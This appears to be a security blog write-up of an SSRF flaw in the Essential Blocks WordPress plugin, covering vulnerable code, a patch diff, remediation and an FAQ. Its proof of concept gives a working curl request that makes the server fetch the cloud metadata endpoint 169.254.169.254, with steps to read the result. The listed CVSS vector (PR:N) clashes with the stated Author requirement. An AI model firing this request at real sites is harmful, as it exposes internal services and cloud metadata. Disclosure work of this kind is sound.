Gutenberg Essential Blocks – Page Builder for Gutenberg Blocks & Patterns WordPress plugin banner

CVE-2026-10586: Essential Blocks Author+ SSRF (CVSS 7.2)

CVE-2026-10586 is a CVSS 7.2 High Server-Side Request Forgery (SSRF) vulnerability in the Gutenberg Essential Blocks – Page Builder for Gutenberg Blocks & Patterns WordPress plugin. An authenticated attacker with Author-level access can force the WordPress server to make HTTP requests to arbitrary URLs — including internal services, metadata endpoints, and private network hosts.

Vulnerability Summary

FieldValue
Plugin NameGutenberg Essential Blocks – Page Builder for Gutenberg Blocks & Patterns
Plugin Slugessential-blocks
CVE IDCVE-2026-10586
CVSS Score7.2 (High)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Vulnerability TypeServer-Side Request Forgery (SSRF)
Affected Versions<= 6.1.3
Patched Version6.1.4
PublishedJune 4, 2026
ResearcherShambles
Wordfence AdvisoryLink

Description

The Gutenberg Essential Blocks plugin includes an AI image generation feature powered by OpenAI. After the AI generates an image, users can save it to the WordPress media library. The function that performs this save — save_ai_generated_image() — accepts a user-supplied URL and fetches the image from that URL on the server side.

In versions up to 6.1.3, there is no restriction on what URL the server will fetch. An Author-level user can supply any URL — not just OpenAI’s image delivery endpoints. The server then makes a GET request to that URL and saves the response body as a media file. This is a classic Server-Side Request Forgery.

Technical Analysis

Vulnerable Code

The vulnerability lives in includes/Integrations/AI/AI.php, in the save_ai_generated_image() method.

The method is registered as an AJAX action in the class constructor:

// includes/Integrations/AI/AI.php — constructor
$this->add_ajax(
    [
        'save_ai_generated_image' => [
            'callback' => 'save_ai_generated_image',
            'public'   => false
        ]
    ]
);

The 'public' => false flag means WordPress only registers wp_ajax_save_ai_generated_image (for logged-in users), not wp_ajax_nopriv_save_ai_generated_image. The action is therefore only reachable by authenticated users.

The AI class is always initialized, regardless of whether an OpenAI API key is configured:

// includes/Plugin.php
AI::get_instance(); // always runs — no settings gate

Inside save_ai_generated_image(), the code checks a nonce and the upload_files capability (which Authors have by default), then accepts image_url from the POST body:

// includes/Integrations/AI/AI.php:158-173 (vulnerable, 6.1.3)
$image_url = isset( $_POST['image_url'] ) ? esc_url_raw( $_POST['image_url'] ) : null;

// ...

if ( $image_url ) {
    // Download the image from OpenAI URL
    $image_data = wp_remote_get( $image_url, [
        'timeout' => 60
    ] );

esc_url_raw() sanitizes the URL but does not restrict which hosts are allowed. It will accept any valid URL, including internal addresses such as http://127.0.0.1/, http://192.168.1.1/, or http://169.254.169.254/.

wp_remote_get() then makes the HTTP request from the server to the attacker-controlled URL. The response body is retrieved and saved to the WordPress media library:

$image_body = wp_remote_retrieve_body( $image_data );
// ...
$upload = wp_upload_bits( $filename, null, $image_body );

How the Attacker Obtains the Nonce

The required nonce is generated under the key admin-nonce. It is only output inside the WordPress admin area. Any Author (who has access to the Gutenberg editor) can load the block editor and read the nonce from the localized EssentialBlocksLocalize JavaScript object:

// includes/Core/Scripts.php:615-617
if ( is_admin() ) {
    $admin_localize_array = [
        'admin_nonce' => wp_create_nonce( 'admin-nonce' ),
        // ...
    ];
}

By visiting any post edit screen, the attacker can call EssentialBlocksLocalize.admin_nonce in the browser console to retrieve a valid nonce.

Execution Path

  1. Attacker (Author+) visits /wp-admin/post-new.php and reads EssentialBlocksLocalize.admin_nonce.
  2. Attacker sends a POST request to wp-admin/admin-ajax.php with action=save_ai_generated_image, the nonce, a prompt value, and image_url set to an internal target.
  3. The server calls wp_remote_get($image_url), making an HTTP GET request to the internal address.
  4. The response body is processed and saved to the WordPress media library.
  5. The API response returns the URL of the newly created media attachment. The attacker can then fetch the saved file to read the internal service’s response.

Secondary Attack Vector

The OpenAI::get_remote_image_data() private method also used wp_remote_get() to fetch reference images. This path is reached when an image editing job is submitted with a reference_image_url. The same SSRF was present there:

// includes/Integrations/AI/OpenAI.php (vulnerable, 6.1.3)
private function get_remote_image_data( $image_url ) {
    $response = wp_remote_get( $image_url, [
        'timeout'    => 30,
        'user-agent' => 'Essential Blocks Image Converter'
    ] );

This secondary path was also fixed in 6.1.4.

Proof of Concept

Disclaimer: This proof of concept is provided for educational purposes and authorized security testing only. Do not use it against any system without explicit written permission.

Prerequisites:

Step 1 — Obtain a valid nonce.

Log in as an Author and visit the block editor:

https://target.com/wp-admin/post-new.php

Open the browser’s developer console and run:

copy(EssentialBlocksLocalize.admin_nonce)

This copies the nonce to your clipboard.

Step 2 — Trigger the SSRF.

Replace NONCE_VALUE, SESSION_COOKIE, and target.com with your values. The image_url points to an internal metadata endpoint (AWS EC2 IMDSv1 as an example):

curl -s -X POST "https://target.com/wp-admin/admin-ajax.php" \
  -H "Cookie: SESSION_COOKIE" \
  -d "action=save_ai_generated_image" \
  -d "admin_nonce=NONCE_VALUE" \
  -d "prompt=test" \
  -d "image_url=http://169.254.169.254/latest/meta-data/"

Step 3 — Read the internal response.

The server saves the response body as a media library file and returns its URL in the JSON response:

{
  "success": true,
  "data": {
    "attachment_id": 42,
    "url": "https://target.com/wp-content/uploads/2026/06/ai-generated-test-1234567890.png",
    ...
  }
}

Fetch the returned URL to read the internal service’s response:

curl "https://target.com/wp-content/uploads/2026/06/ai-generated-test-1234567890.png"

Step 4 — Verify.

The file will contain the HTTP response body from the internal target. For a metadata endpoint, this reveals instance role information or other sensitive cloud metadata.

Patch Analysis

Version 6.1.4 introduces several layers of defense.

Primary fix — replace wp_remote_get with wp_safe_remote_get:

- $image_data = wp_remote_get( $image_url, [
-     'timeout' => 60
+ $image_data = wp_safe_remote_get( $image_url, [
+     'timeout'     => 60,
+     'redirection' => 3,
+     'user-agent'  => 'Essential Blocks/' . ESSENTIAL_BLOCKS_VERSION,
+     'headers'     => [
+         'Accept' => 'image/*'
+     ]
  ] );

wp_safe_remote_get() sets the reject_unsafe_urls flag internally. WordPress then validates the resolved IP address against a blocklist that covers loopback (127.x.x.x), private networks (10.x.x.x, 192.168.x.x, 172.16–31.x.x), and link-local addresses (169.254.x.x). Requests to these ranges are rejected before the connection is made.

Response code validation:

+ $response_code = wp_remote_retrieve_response_code( $image_data );
+ if ( 200 !== $response_code ) {
+     wp_send_json_error( [ 'message' => 'Invalid response from image URL.' ] );
+     return;
+ }

New ImageValidator class (includes/Utils/ImageValidator.php) — validates that the downloaded body is a real image within safe size and dimension limits, and checks the first 1 KB for suspicious patterns like <?php, <script, or javascript::

public static function is_valid( $image_data ) {
    if ( strlen( $image_data ) > self::MAX_SIZE ) { // 10 MB cap
        return false;
    }
    $image_info = getimagesizefromstring( $image_data );
    if ( ! $image_info ) {
        return false;
    }
    // ... dimension checks and suspicious-pattern scan
}

MIME type allowlist — only image/jpeg, image/png, image/webp, and image/gif are accepted. Any other content type is rejected.

Secondary fixOpenAI::get_remote_image_data() was also updated to use wp_safe_remote_get(), closing the secondary SSRF path through reference_image_url in AI image editing jobs.

Timeline

DateEvent
June 4, 2026Wordfence publicly published the advisory
June 4, 2026Version 6.1.4 released with the fix
June 7, 2026This blog post published

Remediation

Update the Gutenberg Essential Blocks plugin to version 6.1.4 or later. You can do this from your WordPress admin dashboard under Plugins → Installed Plugins, or by downloading the latest version from wordpress.org.

If an immediate update is not possible, restrict Author-level accounts on your site to trusted users only until the plugin is patched.

References

  1. Wordfence Advisory — CVE-2026-10586
  2. Vulnerable code on plugins.trac.wordpress.org (AI.php#L171)
  3. CVE-2026-10586 on cve.org

Frequently Asked Questions

What is CVE-2026-10586?

CVE-2026-10586 is a CVSS 7.2 High severity Server-Side Request Forgery vulnerability in the Gutenberg Essential Blocks WordPress plugin. An attacker with Author-level access can force the server to make HTTP requests to arbitrary internal or external URLs via the AI image save feature.

Which versions of Gutenberg Essential Blocks are affected by CVE-2026-10586?

All versions up to and including 6.1.3 are affected. Version 6.1.4 contains the fix.

What can an attacker do with CVE-2026-10586?

An attacker can make the WordPress server send HTTP GET requests to internal services, cloud metadata endpoints, or other hosts that are not directly reachable from the internet. The response body is saved to the WordPress media library, which can allow the attacker to read internal service responses.

Does an attacker need to be logged in to exploit CVE-2026-10586?

Yes. The attacker must have at least Author-level access to the WordPress site. The AJAX action is only available to logged-in users, and the required nonce is only exposed in the WordPress admin area.

How do I fix CVE-2026-10586 in Gutenberg Essential Blocks?

Update Gutenberg Essential Blocks to version 6.1.4 or later from the WordPress admin dashboard or wordpress.org.

Has Gutenberg Essential Blocks been patched for CVE-2026-10586?

Yes. Version 6.1.4 was released on June 4, 2026 and resolves this vulnerability by replacing wp_remote_get with wp_safe_remote_get and adding image content validation.

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee